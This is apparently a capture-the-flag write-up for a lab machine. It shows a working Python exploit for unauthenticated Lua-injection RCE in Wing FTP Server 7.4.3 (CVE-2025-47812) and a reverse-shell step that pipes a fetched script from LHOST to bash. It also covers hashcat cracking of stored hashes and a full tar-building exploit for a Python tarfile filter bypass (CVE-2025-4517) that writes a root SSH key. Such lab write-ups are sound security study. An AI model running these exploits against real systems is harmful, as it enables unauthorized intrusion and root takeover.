An Easy-rated Linux machine featuring Wing FTP Server v7.4.3. The attack chain: exploit a NULL byte Lua injection for unauthenticated RCE (CVE-2025-47812), crack a user’s FTP password hash to pivot, then bypass Python’s tarfile.extractall(filter="data") via PATH_MAX overflow (CVE-2025-4517) to write an SSH key as root.

Enumeration#

Port Scan#

22/tcp — OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp — Apache httpd 2.4.66 (Debian)

Two virtual hosts on port 80: a static marketing site at wingdata.htb and Wing FTP Server v7.4.3 (Free Edition) at ftp.wingdata.htb with anonymous login enabled.

The FTP web client has anti-hammer protection — 10 failed logins triggers a 180-second lockout. Each RCE attempt burns one session, so you get roughly 5–8 shots before waiting.

User Flag#

Step 1 — Unauthenticated RCE via CVE-2025-47812#

Wing FTP Server v7.4.3 is vulnerable to CVE-2025-47812 — a NULL byte injection in the username parameter that allows Lua code injection into session files.

  1. POST to /loginok.html with username=anonymous%00]]<lua_code>--
  2. The server authenticates the part before the NULL byte (“anonymous”) but writes the full string into the session file
  3. GET /dir.html with the UID cookie — the server evaluates the session file, executing the injected Lua
import requests, re

target = 'http://ftp.wingdata.htb'
cmd = 'id'
s = requests.Session()

payload = (
    'username=anonymous%00]]%0d'
    f'local+h+%3d+io.popen("{cmd}")%0d'
    'local+r+%3d+h%3aread("*a")%0d'
    'h%3aclose()%0dprint(r)%0d--&password='
)

r = s.post(f'{target}/loginok.html',
    headers={'Content-Type': 'application/x-www-form-urlencoded'},
    data=payload, timeout=10)
uid = re.search(r'UID=([^;]+)', r.headers['Set-Cookie']).group(1)

r2 = s.get(f'{target}/dir.html',
    headers={'Cookie': f'UID={uid}'}, timeout=10)
output = re.split(r'<\?xml', r2.text)[0].strip()
print(output)
# uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),...

For a persistent shell: serve bash -i >& /dev/tcp/LHOST/9002 0>&1 via HTTP and use the Lua injection to curl LHOST:8888/rev.sh|bash.

Step 2 — Hash Cracking & Lateral Movement#

As wingftp, the Wing FTP Server data directory at /opt/wftpserver/Data/1/users/ contains XML configs with SHA256 password hashes (salt: WingFTP, hashcat mode 1410).

hashcat -m 1410 hashes.txt rockyou.txt
# wacky:32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP
# → !#7Blushing^*Bride5

SSH in as wacky and grab the user flag.

Root Flag#

Enumeration#

wacky@wingdata:~$ sudo -l
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

The script extracts tars from /opt/backup_clients/backups/ (writable by wacky) using tarfile.extractall(filter="data"). It validates filenames (backup_<digits>.tar) and restore tags (restore_<alphanumeric>).

The target runs Python 3.12.3. The filter="data" parameter (PEP 706) is supposed to block path traversal, symlinks outside the destination, and absolute paths. But there’s a bypass.

CVE-2025-4517: tarfile filter bypass via PATH_MAX overflow#

CVE-2025-4517 exploits a flaw in os.path.realpath(strict=False). When the resolved path exceeds PATH_MAX (4096 bytes on Linux), realpath() silently stops resolving symlinks and falls back to string manipulation — creating a gap between what Python thinks a path resolves to and where it actually goes.

The technique:

  1. Create 16 nested directory/symlink pairs. Each real directory has a ~238-char name. Short single-letter symlinks (ap) point to these long directories.

  2. Python’s realpath() follows the short symlinks but expands each to the full 238-char name. By step 16, the accumulated resolved path exceeds 4096 bytes.

  3. A 254-char symlink at the end targets ../../ × 16 to walk back to the extraction root. Because realpath() has exceeded PATH_MAX, it uses string manipulation instead of actual resolution — and approves it as safe.

  4. An “escape” symlink chains through the 254-char link with additional .. traversals. The OS resolves it to /, but Python’s broken realpath() thinks it stays inside the extraction directory.

  5. escape/root/.ssh/authorized_keys writes our SSH key to /root/.ssh/authorized_keys.

#!/usr/bin/env python3
"""CVE-2025-4517 — tarfile filter="data" bypass"""
import tarfile, io, os

DEST_DIR = "/opt/backup_clients/restored_backups/restore_pwn/"
DEPTH_TO_ROOT = 4  # /opt/backup_clients/restored_backups/restore_pwn
STEPS = "abcdefghijklmnop"
MAX_PATH = 4096

PAYLOAD = open("rootkey.pub", "rb").read()
component_len = (MAX_PATH - len(DEST_DIR)) // (len(STEPS) + 1)
component = 'd' * component_len

with tarfile.open("backup_9999.tar", "w") as tar:
    path, step_path = "", ""
    for step in STEPS:
        dir_path = os.path.join(path, component) if path else component
        d = tarfile.TarInfo(dir_path); d.type = tarfile.DIRTYPE; d.mode = 0o755
        tar.addfile(d)
        sym_path = os.path.join(path, step) if path else step
        s = tarfile.TarInfo(sym_path); s.type = tarfile.SYMTYPE; s.linkname = component
        tar.addfile(s)
        path, step_path = dir_path, (os.path.join(step_path, step) if step_path else step)

    long_link = 'l' * 254
    escape_sym = os.path.join(step_path, long_link)
    es = tarfile.TarInfo(escape_sym); es.type = tarfile.SYMTYPE
    es.linkname = os.path.join(*[".."] * len(STEPS))
    tar.addfile(es)

    esc = tarfile.TarInfo("escape"); esc.type = tarfile.SYMTYPE
    esc.linkname = os.path.join(escape_sym, *[".."] * DEPTH_TO_ROOT)
    tar.addfile(esc)

    for name, mode in [("escape/root/.ssh", 0o700)]:
        dd = tarfile.TarInfo(name); dd.type = tarfile.DIRTYPE; dd.mode = mode
        tar.addfile(dd)

    ak = tarfile.TarInfo("escape/root/.ssh/authorized_keys")
    ak.type = tarfile.REGTYPE; ak.size = len(PAYLOAD); ak.mode = 0o600
    tar.addfile(ak, io.BytesIO(PAYLOAD))
ssh-keygen -t ed25519 -f rootkey -N ''
python3 exploit.py
scp backup_9999.tar wacky@wingdata.htb:/opt/backup_clients/backups/
ssh wacky@wingdata.htb 'sudo /usr/local/bin/python3 \
  /opt/backup_clients/restore_backup_clients.py \
  -b backup_9999.tar -r restore_pwn'
ssh -i rootkey root@wingdata.htb

Attack Chain#

Wing FTP Server v7.4.3 (anonymous login)
CVE-2025-47812: NULL byte Lua injection → RCE as wingftp
WingFTP XML configs → SHA256 password hashes
hashcat: wacky = !#7Blushing^*Bride5 → SSH as wacky
sudo tarfile.extractall(filter="data") + CVE-2025-4517
PATH_MAX overflow → write SSH key to /root/.ssh/authorized_keys

Takeaways#

  • CVE-2025-4517 is a critical real-world vulnerability affecting Python 3.12.0–3.12.10. Any application using tarfile.extractall(filter="data") on untrusted archives is vulnerable to arbitrary file write. This includes backup/restore tools, CI/CD pipelines, plugin installers — anywhere tars are extracted with the “safe” filter. Upgrade to 3.12.11+.

  • Anti-hammer rate limiting on Wing FTP means you must be surgical — get a reverse shell in one shot rather than running individual commands.

  • Application config files (Wing FTP’s XML user configs with salted SHA256 hashes) are a reliable lateral movement source. Always check application data directories after getting a service-level foothold.